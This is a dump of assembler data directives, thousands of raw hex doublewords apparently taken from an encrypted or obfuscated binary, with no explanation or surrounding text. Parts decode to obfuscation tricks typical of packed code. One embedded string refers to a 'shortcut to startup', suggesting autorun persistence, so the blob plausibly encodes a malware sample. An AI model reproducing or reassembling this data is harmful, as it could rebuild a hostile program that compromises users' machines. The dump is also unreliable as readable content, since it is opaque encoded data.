3202B2B6h, 64016B33h dd 328002DBh, 0F11E2133h, 1654886Dh, 16548037h, 32081437h dd 0F1524733h, 0B364C575h, 0BF83D2FDh, 35CB4BBEh, 62406B35h dd 322002DBh, 0F1482133h, 164C886Bh, 16408037h, 32021937h dd 0F1514133h, 1AC9F34Fh, 3247E881h, 0F0A30133h, 448462FBh dd 320BB992h, 326E0133h, 3201E964h, 6D210133h, 4E095EF0h dd 76C10517h, 323A0517h, 65570133h, 34BA0AF0h, 47F43539h dd 1293B4B8h, 0AF2A0734h, 34871F2Eh, 322AE0CCh, 3223E960h dd 69300133h, 6E815AF0h, 76850517h, 321B0517h, 61420133h dd 0AFBF38F0h, 0BBCCBC40h, 352450BEh, 0E59B6735h, 62086B52h dd 320402DBh, 0F15A2133h, 1645886Bh, 16C48037h, 32401737h dd 0F1704133h, 0B96D74FDh, 351DF0AEh, 0D3B98C35h, 0BF040D02h dd 3E35EDBEh, 0B1F4B935h, 0B77300A1h, 34273262h, 5820CE18h dd 31C85433h, 12100133h, 0BB55C26Eh, 0B300255Fh, 27062577h dd 77010133h, 5E98366h, 0C08BA4F3h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 10C35242h, 8AA4E1CDh, 0F8FBBF09h dd 22DF80D7h, 6AD88B66h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0A249C352h, 10E953h dd 36FC0000h, 0A5338CB1h, 2DEE9953h, 9E9AD121h, 5660DFAFh dd 4A9F08B9h, 8B665A6Eh, 0C38B61F0h, 2D799D8Dh, 39B80607h dd 89000000h, 70A1D85h, 0E806h, 5580000h, 0Dh, 39E90389h dd 0 dd 0Dh dup(77E600h), 0FF77E600h, 7E8h, 0FDA66D00h, 0A080C5BAh dd 5F565BFCh, 6185C381h, 2BFC0000h, 13048BD2h, 2FC081F8h dd 81468947h, 21096FF0h, 0CABF0F18h, 0A88EE881h, 81666080h dd 89B371D9h, 0F98B1304h, 6604EA83h, 0DA1DDF81h, 9EFCFA81h dd 850FFFFFh, 1Ah, 34E9F5h, 76DC0000h, 0FD3B10F9h, 0AFB8943Dh dd 4432489h, 8B1488DEh, 6E9F583h, 0C0000000h, 4CE9E007h dd 0FF9FE920h, 0DFE4FFFFh, 3191E110h, 0CB5B5AA4h, 0E9DEC721h dd 8D8D0B62h, 60C370Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0DEC35646h, 93B83829h, 0BFDE13DBh, 8FB9E2Eh dd 1811BD89h, 8D890607h, 6070A01h, 85C783B0h, 60714A5h dd 65C0h, 7E8h, 1D7A8200h, 653A7B4Fh, 0CC1B58Bh, 8B5F0607h dd 0D585C7DAh, 6072Fh, 0F000000h, 18Ah, 0B5FFF500h, 60705E1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 49C35747h dd 9DC34CB2h, 36918C6Fh, 4590B866h, 1C1995FFh, 0CF810607h dd 3F617A17h, 95FF006Ah, 6071B69h, 0EEBC08Bh, 0D6D46A0Dh dd 13C0FD84h, 212B4D6Dh, 8D8D4DA7h, 60C37F4h, 0A018D89h dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 6F336EC3h, 156FFCC2h, 0F806B0Fh, 1788h, 0CE800h dd 1B3F0000h, 6D178251h, 98A30569h, 76B84F08h, 5819F53Bh dd 0C7F38B66h, 714A585h, 706806h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 51F2EF6Ch dd 369BB866h, 0D585C75Eh, 6072Fh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0FE08C351h, 0A81A40D0h, 0C680723Fh, 0FE8B57EFh, 0DDB5FF5Fh dd 306070Ch, 71601BDh, 1995FF06h, 0E906071Ch, 6, 7E3731Bh dd 6A32ADh, 1B6995FFh, 0C08B0607h, 8F3048EBh, 0C515D8Dh dd 782F5881h, 9F184229h, 75C11BCFh, 0F40DC726h, 0AE749F17h dd 0B885454Bh, 874B80D6h, 4E937DF3h, 4C64DCC5h, 586D344Dh dd 85D6278Bh, 49C6ED0Bh, 0E07272A4h, 0C72541AAh, 73FEFD82h dd 0F83DB9D4h, 0B0E959B9h, 60000000h, 0F6DA8C66h, 850F04C2h dd 0Ch, 2939853Bh, 840F0607h, 36h, 3199853Bh, 840F0607h dd 2Ah, 30A5853Bh, 840F0607h, 1Eh, 0DE1853Bh, 840F0607h dd 12h, 2C75BD83h, 0F010607h, 584h, 5FE900h, 0D08B0000h dd 8B3C5203h, 88BAh, 784A8B00h, 840FC985h, 49h, 0F8C281h dd 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h, 0FC9850Bh dd 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h, 4C38300h dd 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4B4A9D8Dh, 5B80607h, 0FF000000h dd 0BC361E3h, 536CEBD0h, 74726F68h, 20747563h, 73206F74h dd 74726174h, 7075h, 13h dup(0) dd 0FF000000h, 16472BBh, 0E9000000h, 0F2Eh, 0C3B1768h dd 0A82E906h, 0E168FFFCh, 0E9060C3Bh, 0FFFC0A78h, 0C3D8C68h dd 0A6EE906h, 0CB68FFFCh, 0E9060C3Dh, 0FFFC0A64h, 0C3E6D68h dd 0A5AE906h, 2068FFFCh, 0E9060C3Fh, 0FFFC0A50h, 0C43A168h dd 0A46E906h, 6568FFFCh, 0E9060C46h, 0FFFC0A3Ch, 0C472468h dd 0A32E906h, 0B018FFFCh, 84F3D998h, 68D5BB7Ah, 4CB59B5Ah dd 27917736h, 0D1C45413h, 0A05F73DDh, 7F3E4EBAh, 601F2B99h dd 3EFD0F7Ah, 519E0CB4h, 0F7911C99h, 0E853935Eh, 1D886ED6h dd 0A61F359Eh, 31A918FEh, 0F1B6CF9Ch, 88067F9Eh, 0B5192CC9h dd 0A8BE270Dh, 0D414822Ah, 60911767h, 0C0117FE7h, 0B4850963h dd 0CB73001Eh, 963105Dh, 563DB685h, 0DC2C32CEh, 4ED6547Bh dd 0E02382BCh, 4C8Eh, 9400E600h, 25A31C84h, 40AB915Ah dd 0CF4DC62Eh, 17BF1332h, 176DBDA9h, 86F49C91h, 85095339h dd 531F6CDAh, 4CC58509h, 0FB230A9h, 9A08EE96h, 0A8108Eh dd 379FAD1Ah, 81D240BEh, 75850953h, 0B05243DFh, 92E0224Dh dd 0CEh, 0D6E853C7h, 0CBDD482Eh, 46CEA63h, 38A0B41Eh, 6DD5E752h dd 4C7ADEC5h, 0C00E3AE8h, 5226D5F4h, 0C745BE6Eh, 0A56476E1h dd 9DA917FDh, 0D03EBC35h, 8B10AA4Eh, 0DF9EB01Bh, 0D4218F37h dd 7A8B10A0h, 329D8301h, 77805BB2h, 950E2BFAh, 349F852Dh dd 2407A422h, 4E72E088h, 0A2911816h, 7ECD6A29h, 933CAA52h dd 0F18B1360h, 0B8EDB49h, 0BB347F00h, 4AB49A42h, 0E9CF7736h dd 8E076F7Bh, 0ACC02A10h, 7DE6A9FBh, 16006895h, 0CCEh dd 2BEA026Ah, 0DCCD645h, 0EDACBA27h, 0C9889E07h, 0A66579E3h dd 0C52F7F16h, 0A00CF2B1h, 7DEBD190h, 61CCB271h, 5E06904Fh dd 1C9BA3F0h, 0E5B04991h, 16D5E953h, 0BB3C530h, 0A426A624h dd 41BFB251h, 899CB782h, 230F7D25h, 791176Eh, 67B8268Eh dd 5B850953h, 0AA3C69C5h, 7CE0224Dh, 0D0h, 0D6E853B1h dd 0A1E886Eh, 4B577B62h, 65923B03h, 9B03137Fh, 0CE3CA422h dd 8B10864Ch, 0DD9CAE19h, 127A8CF7h, 52FAD675h, 479402AAh dd 0ED8B107Ch, 6488F674h, 0B89117ACh, 40E3803Fh, 0AE1CC46Ch dd 85094C61h, 0CE9594C3h, 16B934F7h, 9771F9Dh, 8B12764Fh dd 0C8AE56CFh, 0A58B4A5Eh, 2A76273Bh, 7957D02h, 0C04B59Fh dd 0CC340000h, 0A00FF5B4h, 84F1D796h, 68D1B776h, 43AD9352h dd 0B5E0702Fh, 0BC7B8FF9h, 9B5A6AD6h, 7C3B47B5h, 5A192B96h dd 6DBA28D0h, 13911C9Bh, 0E991AF7Ah, 18869803h, 8B1060CBh dd 947AF871h, 9401E72Ah, 37A51E86h, 8B1060EAh, 0F69E1790h dd 885FB20Fh, 17951763h, 60CAB058h, 7DE8CE4Ch, 71DDC36Bh dd 5924E361h, 2ED6E853h, 0ABA66747h, 34B29F36h, 697BE6CCh dd 923E0DAAh, 15FC03EAh, 0AEC422B6h, 0FAE08830h, 9B147C90h dd 3E87AF1Dh, 6AE39118h, 3C439402h, 0A137850Ah, 624E208Dh dd 9379E023h, 38B11925h, 13F9BAh, 4F2E0000h, 892h, 0DA53C1A7h dd 7DF65E6Eh, 0A5239C04h, 25899CDAh, 81130F7Dh, 9E179117h dd 0D3E55036h, 0B1C32E14h, 77BAA149h, 2937A4D8h, 7231CE42h dd 855F86F4h, 27CFEC4Ch, 0B7578340h, 0F87600E2h, 0D8BFCC62h dd 2C96F234h, 0F2957C32h, 25EDD091h, 0E44F35B3h, 0C22D13D2h dd 0B72208B0h, 0BCDEBEA5h, 5ED6220Ch, 0BA0A78E0h, 961DC43Eh dd 0A8132200h, 32263028h, 7FF84F70h, 0C83218C0h, 55D34CB4h dd 55C3046Fh, 1DC3C508h, 54BC35AEh, 0C3C592E6h, 52F0861Dh dd 0C7869803h, 0FC6476E1h, 38E0CC5Fh, 0CAE03ECAh, 2AE96223h dd 0DD7080C6h, 0AFDB49F1h, 131DC3BFh, 9E0CF29Ah, 3040AC92h dd 4AD14FC8h, 0C6767EDCh, 0F15B41EFh, 63C25FDDh, 0FD39A74Fh dd 8139ABC3h, 2003A008h, 1976E48Ch, 0DF33A814h, 3016BE66h dd 5137B5C3h, 2F15D4E6h, 0CAD845C4h, 0D02A051h, 6FD73E11h dd 0A5985h, 5F77DF00h, 414BBAA0h, 212F9C82h, 0FD137C62h dd 0DAEE583Eh, 0A40A8B1Bh, 8167263Ah, 60460515h, 4127E6F2h dd 7B05C4D6h, 9D1865D3h, 25BE911Ch, 0D6E8535Ah, 8E3B6D25h dd 0D2BC24A1h, 0A1Ah, 0DF9EB61Eh, 0C1808AF9h, 0A1606EDBh dd 7D3C52BBh, 5A192D97h, 79E3CBCAh, 54C0A665h, 319F8544h dd 15806625h, 12BA4403h, 1C9D57A4h, 9964FD91h, 313DAB91h dd 0ECD250C9h, 5F076F81h, 5DCB1079h, 8B106010h, 46C43DB6h dd 23E2F660h, 0DA6979BFh, 0FF684EF6h, 55C36BE9h, 91177529h dd 856C148Dh, 0BF81ACC1h, 0DC63E129h, 0C6B3E26Eh, 95390C46h dd 10437FEDh, 4EC7C953h, 28963EE6h, 0BD44F0DBh, 0ED8A0881h dd 5CCA725Eh, 0C34F60FFh, 0BEA44CC5h, 9C824153h, 0C46E1F31h dd 65CDB859h, 97813FDh, 58C00000h, 2C9B8140h, 107D6322h dd 0F45D4302h, 0CF391FDEh, 296CFCBBh, 48071B85h, 27E6F662h dd 8C7D341h, 0E6A5B722h, 0F946B45Ch, 9F911C9Dh, 0E8533B06h dd 0DC482ED6h, 0C27D64CCh, 0CFF870D1h, 99017FF8h, 7A3945B3h dd 10B31F0Ch, 27380B8Bh, 0CB44ACBAh, 57C4AA52h, 0C068E149h dd 10B20552h, 0B432AB8Bh, 0EB479E0Ch, 5901911Ch, 4799EEBh dd 0F0BB0085h, 3E6A3A6Fh, 1A9229Bh, 0F8067359h, 0B3991790h dd 0A88E3648h, 0F0AF2D3Bh, 258D9F0Ah, 0EA54D53Fh, 0C198668h dd 61DA3F9Eh, 0F2D880E8h, 909E0B84h, 45B39917h, 0AE048839h dd 29919B82h, 8C53Fh, 0F30B7300h, 0D5DF4E34h, 0B5C33016h dd 91A710F6h, 6E82ECD2h, 38761FAFh, 15FBBACEh, 0F4DA99A9h dd 0D5BB7A86h, 0F99586Ah, 9FACF967h, 0B952911Ch, 0D6E853EEh dd 9E1D886Eh, 3FB82034h, 55EB5EC6h, 58C6ACF9h, 7DE8CE4Ch dd 70DDC36Bh, 9D25E462h, 19DABECDh, 5ADDDh, 899C1200h dd 0B80F7D25h, 6D911C99h, 4B158786h, 3EBD1975h, 18F3DA53h dd 615B2BCh, 1C959C2Dh, 98225A3h, 0FE107B61h, 2D81A23Fh dd 0DA5557C5h, 3ABFE6Fh, 0E2ABF81Ch, 0ED6BF085h, 38CAFB57h dd 23995C79h, 2BC00D7Bh, 0ED660B97h, 43AE6Fh, 5E060000h dd 972BA3F0h, 52D0490Bh, 278B9C87h, 82F1D77Fh, 0D809120Ah dd 67E0C910h, 118B5980h, 50CE268Ah, 106E95E2h, 5AC23B8Bh dd 77D0DFECh, 99B54BABh, 42165A2Ch, 76CC6h, 4FA10000h dd 28Ah, 0B8899C84h, 5561CF4Ch, 0D5BB63DCh, 8755B67h, 66D47CFAh dd 911C9977h, 0FE4BB961h, 0A4850425h, 0CA4351BEh, 2B7BE951h dd 20850426h, 53F2B48Ah, 0C12FD77Fh, 85042674h, 265AA715h dd 87008504h, 45ED6BE4h, 0A10FF59Dh, 46B42D95h, 850425F9h dd 3AA8269Fh, 8B105F4Bh, 55FDBC35h, 8AF2046Fh, 43AD9311h dd 33A1872Fh, 0C63F4DBAh, 90FAE048h, 0F187147Ch, 26A8125Dh dd 57B5E77h, 0B5EDAD2Ah, 0CF42846Bh, 664DF56Eh, 0D61B8C97h dd 0F5B432FAh, 2B93A30Fh, 61C9D945h, 94FC127Bh, 0CB3341AEh dd 288AA83Eh, 1E29059Bh, 0BAC835B2h, 0A160D952h, 0F787FC33h dd 0B9C5337Eh, 97A914FAh, 8B9C642Fh, 0D9414BBAh, 973FE760h dd 1060DC29h, 6D9B828Bh, 1CB75559h, 0EF8A0881h, 68D9D09h dd 0FB48B65Eh, 0A18B10E6h, 0E73E8BF9h, 6BE48B10h, 929E0CF2h dd 4D33B12Ah, 0EBF564E1h, 0F6910A83h, 90FEA64Eh, 8B10E743h dd 0B50270E9h, 5B8B10E7h, 7F91FCE2h, 289E9D01h, 86F2D880h dd 0E7BB0876h, 0E8618B10h, 2D7ED46Ah, 3C51FE46h, 0C4DD0BADh dd 0BBDA4C1h, 9F27A558h, 19DAE7CFh, 3DDDFh, 0E9531400h dd 0B6462DD5h, 0A426F4D1h, 0E84CB432h, 0B5891FE2h dd 869602E8h, 4127A51Eh, 0D9EB56D7h, 51BBA160h, 50BCA23Dh dd 26BCA540h, 51D33D08h, 0B77A9120h, 0BB29D102h, 8B10826Eh dd 7A229B14h, 821764D2h, 107A8B10h, 781B94FCh, 14FA81FFh dd 0ADFA68A9h, 108B1082h, 4AF295A3h, 10828FDCh, 43BC358Bh dd 0A4F462CAh, 998B1082h, 0B5202F03h, 9514FBA3h, 78397528h dd 240AC947h, 9A42AAB6h, 513848B4h, 6D1591BDh, 0CF3DBB66h dd 8B112D7Fh, 0E671CD63h, 0DDC46C78h, 0FA8ED31Ch, 0F9B836B1h dd 10DEB28Bh, 73129A8Bh, 5319DADFh, 0FFFFFED2h, 0D6E85388h dd 46C63117h, 922C2DEEh, 2D950E0Fh, 10726FBFh, 70CE648Bh dd 0A9687AE5h, 6AD859C3h, 0DBD0775Eh, 54084C72h, 210573DBh dd 3B5B84ABh, 343EAD93h, 6A7AE6CCh, 41DD73F1h, 57B6B254h dd 58C7AD36h, 530FD04Eh, 44000000h, 7D25899Ch, 1C9A200Fh dd 29910A91h, 4276FBBh, 5662D085h, 0A2107EEh, 4D986BE1h dd 80E8FE67h, 0D5F74BE1h, 5F4CE278h, 0E0293F8Fh, 1B9Fh dd 4ECBD400h, 118B106Bh, 442A92A8h, 0D54EC7D9h, 0FFFD84EBh dd 74F20FFh, 84000000h, 2914Fh, 0E8538400h, 1D886ED6h dd 0BD252F9Eh, 6F0CCB44h, 81683DCh, 3979E78Fh, 0C5911762h dd 2576E44Ch, 1985095Eh, 6CFEAF83h, 3EE02244h, 42h, 3642B096h dd 5927094Fh, 3DBBAFE5h, 25899C72h, 6E230F7Dh, 8E079117h dd 5367B826h, 0B35B8509h, 0D14F63CDh, 0D4B6E73Bh, 0FE0224Dh dd 74058067h, 577AB9BDh, 9199CE9h, 4BC94285h, 0E88Ah, 0AA91BF00h dd 96EEE9E4h, 0A8BA25AFh, 0D04EC740h, 56D7FEAh, 0CB34B51Fh dd 5BD44DB5h, 0DCFECCB3h, 0F295364Ch, 0BB260C74h, 0F05B41A9h dd 7CF50571h, 0FF6D15BDh, 8B107FB2h, 8DF9DF58h, 1E9C157Dh dd 10842EB0h, 7E90FB8Bh, 0AF0322BFh, 225D9907h, 0F5DC911Ah dd 39B96119h, 63496104h, 0C6E3482Fh, 56DB5427h, 9710D740h dd 55FD7619h, 49F1056Fh, 0D9566262h, 7DF65E6Ch, 3F69F196h dd 735A02C1h, 4C60E6C2h, 428FFD37h, 0E88506CDh, 9278F66Fh dd 0CD631428h, 4C9B84A7h, 444FAE4h, 8CF40000h, 60CFB574h dd 44B19756h, 28917736h, 36D5312h, 0F5A030EFh, 7C3B4FB9h dd 5B1A2A96h, 3CFB0775h, 1AD9EB56h, 2D7AE890h, 0D3911CA3h dd 0E9916F3Ah, 10602E7Bh, 0DD5BD48Bh, 0BA798DF7h, 0BA2869D4h dd 8B10606Dh, 62219A13h, 0D6E85397h, 9E1D886Eh, 3FB82034h dd 0DB6A07C6h, 0CD860589h, 0D0B685FAh, 72EB5365h, 57E351F9h dd 7B911816h, 0BF29A02h, 962C725Eh, 269412A7h, 85096CD7h dd 0B52309B1h, 0B9952BA9h, 0D07854F7h, 9F74128h, 0E166672Bh dd 3969F563h, 148D8B11h, 1F05AD55h, 0EA37A5B1h, 907F0303h dd 29FC9917h, 186FDD85h, 0D2850F3Ch, 66E82ECh, 866C148Dh dd 0BB630B19h, 0F6CA004Dh, 462DA678h, 484EBD0Ch, 0CB8A08E0h dd 0F722165Dh, 0F3FF6D78h, 684A34h, 0CB7F0000h, 8B10607Ah dd 0F8B7132Eh, 2F97A512h, 106074C1h, 6047EF8Bh, 0D3C0524Ah dd 61F7752Ch, 71582CDh, 8AF8A048h, 8B10E73Dh, 2C836AE3h dd 46DCE64Ah, 0FA684ECCh, 9D051581h, 0C3D13E24h, 169E25Bh dd 113D4393h, 0BD91278Bh, 220944B2h, 0A112F918h, 2C79E7C9h dd 0D28B1139h, 0F6087359h, 83EFD57Dh, 14920B73h, 0AA918A55h dd 87DBE2CFh, 0FDE36170h, 0F4DB838Fh, 2C37EF9Bh, 0D0E64FF4h dd 8B71D957h, 36A9111Dh, 45B382A0h, 410C7A39h, 0DE8B10B3h dd 108C2370h, 79E3C98Bh, 0EB73EC65h, 19DA9618h, 0FFFF5A2Ch dd 0AA9161FFh, 7974456Eh, 23098748h, 583EA6B8h, 7F1CDBEDh dd 329A92ACh, 10F70371h, 0A61F26D9h, 698617FEh, 4F2F516Ch dd 0C6424468h, 86046854h, 0AC3070DEh, 43BC9117h, 0DF4D33DBh dd 0BF26BD3h, 28194B9h, 3AA826B1h, 850A50E9h, 0BAEB47DDh dd 0E0234B28h, 3BFAh, 0FE6C5200h, 590855C3h, 35AE850Ah dd 5DDB54BCh, 25899C92h, 1B2B977Dh, 9B87F59Dh, 7F91176Dh dd 0DF309E06h, 0D3850952h, 0CBD7452Bh, 0D66CEA63h, 4CBB4B78h dd 0F08BE022h, 0C0000000h, 2ED6E853h, 60CB1886h, 0F8718B10h dd 0C22C127Ah, 0B89E46AEh, 5CD53D4Bh, 7B8DF8DEh, 580EDD3h dd 650D869Ch, 1060AAF7h, 59D7508Bh, 5FA00BF1h, 1060A4F1h dd 0F6644A8Bh, 698A71EAh, 6E153186h, 0F563229Bh, 8B112873h dd 1B2D987Eh, 0D6BC3AB3h, 0CBB1596Bh, 6979E55Ch, 0A70F8801h dd 0BF1B02Eh, 3EE68EA0h, 111E83D0h, 687CE68Bh, 66CE4CC5h dd 0AE567AC9h, 18419840h, 9F0EF491h, 3BB42D95h, 0F24CDF7Ch dd 0D19D0405h, 0E6F6C16Bh, 2FFDB12Ch, 27953DB6h, 8B13C1E5h dd 6E54FC75h, 4B31F004h, 8C1CCDE1h, 11957E46h, 180BFA9h dd 50B80000h, 24937938h, 8755B1Ah, 0EC553BFAh, 0C73117D6h dd 3164F4B3h, 40FF137Dh, 1FDEEE5Ah, 0BFCB39h, 0DE9DAF1Ah dd 0F13EAC54h, 97911CA5h, 0E95333FEh, 81E9FF68h, 0A41D319Bh dd 1B866C2Bh, 9C7F4A09h, 967D2589h, 9F8CE4AEh, 0B35BD951h dd 183E5945h, 5CC43D91h, 0A239DEEh, 27FB9185h, 237D9476h dd 90B6E0h, 53EB0000h, 886ED6E8h, 34A20A1Eh, 8B1065B2h dd 2A94147Fh, 9E010827h, 19FFBE37h, 97349CAEh, 27018B4h dd 9117185Ah, 5563D0B6h, 3CFB74EDh, 78208C9Fh, 0AC142892h dd 9F0DB533h, 8B1278FEh, 0E8FC664Ch, 77E1C76Fh, 54BEA463h dd 3AD8F40h, 44AC957Dh, 0C15Ah, 0F70F7700h, 0D9E35238h dd 0B9C7341Ah, 95AB14FAh, 7286F0D6h, 3C7223B3h, 19FFBED2h dd 0F8DE9DADh, 0D9BF7E8Ah, 139D5C6Eh, 0A7B0FD6Bh, 0BD56911Ch dd 0D5E953F2h, 0B3C53016h, 0E85329F4h, 0DFC66ED6h, 0B150FFDAh dd 13F977ABh, 3AD796A8h, 771FC7EBh, 661461CFh, 41BA8B10h dd 9F6255C3h, 0DB54911Ch, 67DE4D33h, 0B84ECFAh, 0CBB12A92h dd 6AD2505Eh, 5F071984h, 2BFC49B7h, 29A28504h, 9B06ECABh dd 6FB32189h, 19E7831Fh, 35A0AF83h, 53394BB6h, 0A261DAE4h dd 0D73F51BCh, 0A7288F1h, 0BD88A63Ch, 0D9814052h, 3976C331h dd 0A31C2285h, 0C2D43F25h, 0C67331Ah, 66633A83h, 39680E8h dd 0CB000000h, 0EB53F4BFh, 1A856BD3h, 4CBAA008h, 86F2D840h dd 0BE280E76h, 0F25C42AAh, 279076DEh, 56C3A911h, 8BFAE048h dd 50B31981h, 4055854h, 83000000h, 48704E8h, 0A1685C24h dd 89000002h, 8952242Ch, 4C281E2h, 83000000h, 148704EAh dd 4895C24h, 0BD555124h, 3D203AEEh, 1DC58145h, 0C13EA714h dd 0E58102E5h, 219F0B82h, 0AE76ED81h, 0E989A6FAh, 81D9F75Dh dd 0D16CB1E9h, 59CD897Fh, 24048B54h, 8104C483h, 4ECh, 242C8900h dd 0FF08408Fh, 81582434h, 4C4h, 2434FF00h, 4C4815Dh, 0E9000000h dd 0FFFBFB6Ch, 0DC147BD1h, 0F1853425h, 0FA84A50Ah, 0AB81C7Eh dd 3060C48h, 89E0FFC5h, 1038514Bh, 6B416A24h, 23176902h dd 0B0161AB9h, 6344D072h, 3C03AE2Ah, 6468D6BEh, 0AC576A09h dd 0A8443649h, 0F1127915h, 57715CC0h, 7A050E3Bh, 9046DFA4h dd 253CF5F7h, 0E00DECCCh, 27526468h, 157208FEh, 9750145Bh dd 0E772DDCFh, 0E866D179h, 10h, 5CEFF6FCh, 0FF1DAAC4h dd 7EF4AE47h, 5A762F56h, 0AE8h, 0BE308A00h, 0FA1219D1h dd 0E9D667FCh, 5, 96112EDBh, 0BF585BD7h, 6BCC03F1h, 6787C081h dd 680000h, 0E9000000h, 10h, 90E1C10Fh, 0DFB64522h, 702072B2h dd 0AE43861Fh, 0CB816659h, 34FF8695h, 2CBF6601h, 8E0F5E0Ah dd 27h dd 0BE8h, 0E9F1E200h, 0DCEADCA3h, 0DD061A3h, 11E9h, 9F912700h dd 0F14C48CEh, 0CCE47AD3h, 6AFE421Fh, 815AA467h, 0B4C615EEh dd 68C68137h, 0E9288130h, 7, 0AD66B2ABh, 8195F45Bh, 2598E9F6h dd 3B73BB5Fh, 0F95610BEh, 0B708048Fh, 0D0B70F0Fh, 8B03E983h dd 8B6649F9h, 70F981D1h, 0FFFFF99h, 1385h, 0E9D38B00h dd 27h, 7301EB40h, 0E897C061h, 0CF76CA2Ah, 712773BBh, 0FF6CE904h dd 0DA35FFFFh, 0A1583351h, 71B43060h, 795305D9h, 8DE24DDAh dd 0C4B0D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0BBDE89B9h, 81AD1DE0h, 17D852E2h dd 0E7D88065h, 0A018D89h, 8F0F0607h, 15h, 10E9h, 0EC037300h dd 9DA96A20h, 0D05DB4Dh, 1788873Ah, 0A585C7D3h, 58060714h dd 89000068h, 70F91BDh, 0FE8B6606h, 2FD585C7h, 607h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0B9702AC3h, 222CF7A1h, 12E849C9h, 54000000h, 73F6361h dd 9E92CC89h, 0DB354FD7h, 0B0EDA56Dh, 2890F4Dh, 51000000h dd 0B5FF585Eh, 60719D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0ACC35242h, 27BE0EE3h, 8CBA6A13h, 0C9858B72h dd 80060711h, 0F4BE2BEBh, 0FF3F3469h, 71C1995h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F59D8B88h, 6A06070Bh, 6995FF00h, 8B06071Bh, 607FEBC0h dd 0FF689B12h, 0FE6CCBF8h, 237DC36Ch, 9095CE2h, 0B94A35BCh dd 25A7499Bh, 769B30EDh, 0A0F4883Eh, 5E0DE1B4h, 12156801h dd 4980E47Eh, 59E9172Eh, 0BBC302D3h, 0B0363D97h, 0A4918A7Ch dd 9F4206BAh, 5118B489h, 665D00E1h, 0FB96606h, 27AB5D4Fh dd 9D123A36h, 1D770E8h, 2CAAEDA7h, 44DB8667h, 9A38EBC9h dd 4A072A2Fh, 5CCD6D93h, 0EABC68A2h, 281D3D3Ch, 6A6D1EC6h dd 69CB23B4h, 4EBA43Bh, 75E2E1AAh, 4FDE9h, 22CA7700h, 28B678D6h dd 2FB57EDCh, 33D985E3h, 3EC289E7h, 0A6E708F2h, 0A70551DFh dd 0AB0955DFh, 0B5135FE5h, 0A71A66F2h, 2CDE5D2Ch, 0A07FF000h dd 8C18DBBCh, 14E35ED9h, 0F60C6721h, 0DA38EE3Eh, 0E3418D13h dd 83E19420h, 238134C0h, 5AD9A861h, 3F60C67h, 18F55B3h dd 0FBAEFE4Eh, 7B46E083h, 0EEB12CB8h, 0F727ABDCh, 0EF3BF137h dd 0F945CB91h, 9C4FD59Bh, 67C5763Eh, 0F447169Eh, 69F60C06h dd 8216C919h, 7EBD8C07h, 0F6F60C06h, 3EE7EDACh, 82D2AC44h dd 0F1CDA6BFh, 0AF65769Fh, 0E1A7320Ch, 0E6A90753h, 68D8A75Ah dd 0F60C55h, 5E7B2785h, 310212F1h, 0C72575E9h, 1DC076FEh dd 5B47605h, 57F493C4h, 10000000h, 0AB460BEh, 0A95FE5ACh dd 49FC884Bh, 0C67B97Ah, 2802A5F6h, 0C32E995Bh, 0AD993h dd 9B5E0000h, 71131384h, 0FDE19701h, 0D88B19DBh, 772AB87Ah dd 1CCF6D19h, 9C2901A4h, 0F0763EDAh, 229DED3Dh, 0BD84AA5Fh dd 602F749Ch, 0F60C4BDDh, 2CE23282h, 31BF82E0h, 14DB01E5h dd 62C3BC82h, 4476B501h, 41F44494h, 14A268C6h, 0FD5B1161h dd 4BD99F3Bh, 45F84898h, 7B46E083h, 86E430B4h, 248235C3h dd 0D51ED15Bh, 52B01832h, 0FF4F0290h, 0A8F7A949h, 593793C3h dd 0BC000000h, 590CB25Eh, 0DB6F5309h, 7FDD9014h, 55B32EB6h dd 9D500692h, 1DA88225h, 207ECA56h, 0BA18CB59h, 89C620Eh dd 0B101B442h, 155E1161h, 19CBD872h, 5993C32Dh, 43h, 9014DB75h dd 2BB97FDDh, 0D76635B0h, 88F60C67h, 0F2CF8238h, 6FCDF74Fh dd 9671DA7h, 8E72BE42h, 0D88B19DBh, 0C672709h, 5BE9ACF6h dd 0FC824AA8h, 102ACD49h, 0C159FCD3h, 0C32EF0B2h, 13093h dd 0DB4C0000h, 0B10F8A12h, 5FAF62EEh, 672615E4h, 0E737F60Ch dd 5D207E31h, 0FBBE1CCFh, 0E83F97FAh, 0D1217769h, 6EF8C01Eh dd 9B9CF8BBh, 9E865C7Bh, 28A77F22h, 4B561994h, 78918C94h dd 0D0043706h, 959F60Ch, 0C66003B9h, 5EAA32FBh, 9A9968E3h dd 0C3F60CD0h, 0F0CEBD73h, 822EFD78h, 0D3FC1327h, 0AF72D083h dd 71C14B13h, 504C725h, 0F5F0C9A5h, 92459572h, 0B2A72C3h dd 0EE69E4F0h, 0B2A1C1Fh, 3BF141F0h, 7033BE98h, 773A98E4h dd 5DBB36E9h, 0B5B0E9Ah, 0A834F755h, 0B69033F5h, 90DC682Bh dd 0CA7C2EF0h, 14A6E99h, 0BE8A0000h, 9339E543h, 0C6771C4h dd 0E89EEEF6h, 28A3C5F9h, 13862759h, 0C54090FCh, 44D3302h dd 0C67CCF46h, 66F2B513h, 6BF9BC1Ah, 9975AB8h, 59F19456h dd 0C03BC98Ch, 62090FFDh, 742AB3B4h, 0BAC68828h, 590699CAh dd 22000000h, 7EF98D4Ah, 0C683CAFh, 9665E0F6h, 0F60C67A7h dd 0D8B268B8h, 0FC5AD588h, 29F8AE50h, 0F60C670Ah, 0CC7F0DCFh dd 6619A76Eh, 67191CEBh, 0F646F60Ch, 11DC7619h, 0F874C448h dd 